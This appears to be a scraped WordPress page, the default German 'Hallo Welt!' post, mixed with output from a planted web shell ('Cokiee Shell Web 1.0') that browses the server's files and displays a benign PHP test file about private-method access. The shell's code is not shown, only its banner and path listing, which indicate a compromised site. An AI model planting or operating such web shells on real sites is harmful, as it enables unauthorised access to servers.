Willkommen bei WordPress. Dies ist dein erster Beitrag. Bearbeite oder lösche ihn und beginne mit dem Schreiben!
Hallo Welt!
von raredesign | Dez 3, 2019 | Allgemein | 0 Kommentare
Cokiee Shell
Current Path : /proc/self/root/usr/local/src/php72/php-7.2.12/php-7.2.12/tests/classes/ |
Current File : //proc/self/root/usr/local/src/php72/php-7.2.12/php-7.2.12/tests/classes/private_003b.phpt |
--TEST-- ZE2 A private method cannot be called in a derived class --FILE-- <?php class pass { private function show() { echo "Call show()\n"; } protected function good() { $this->show(); } } class fail extends pass { public function ok() { $this->good(); } public function not_ok() { $this->show(); } } $t = new fail(); $t->ok(); $t->not_ok(); // calling a private function echo "Done\n"; // shouldn't be displayed ?> --EXPECTF-- Call show() Fatal error: Uncaught Error: Call to private method pass::show() from context 'fail' in %s:%d Stack trace: #0 %s(%d): fail->not_ok() #1 {main} thrown in %s on line %d
Cokiee Shell Web 1.0, Coded By Razor
Neueste Kommentare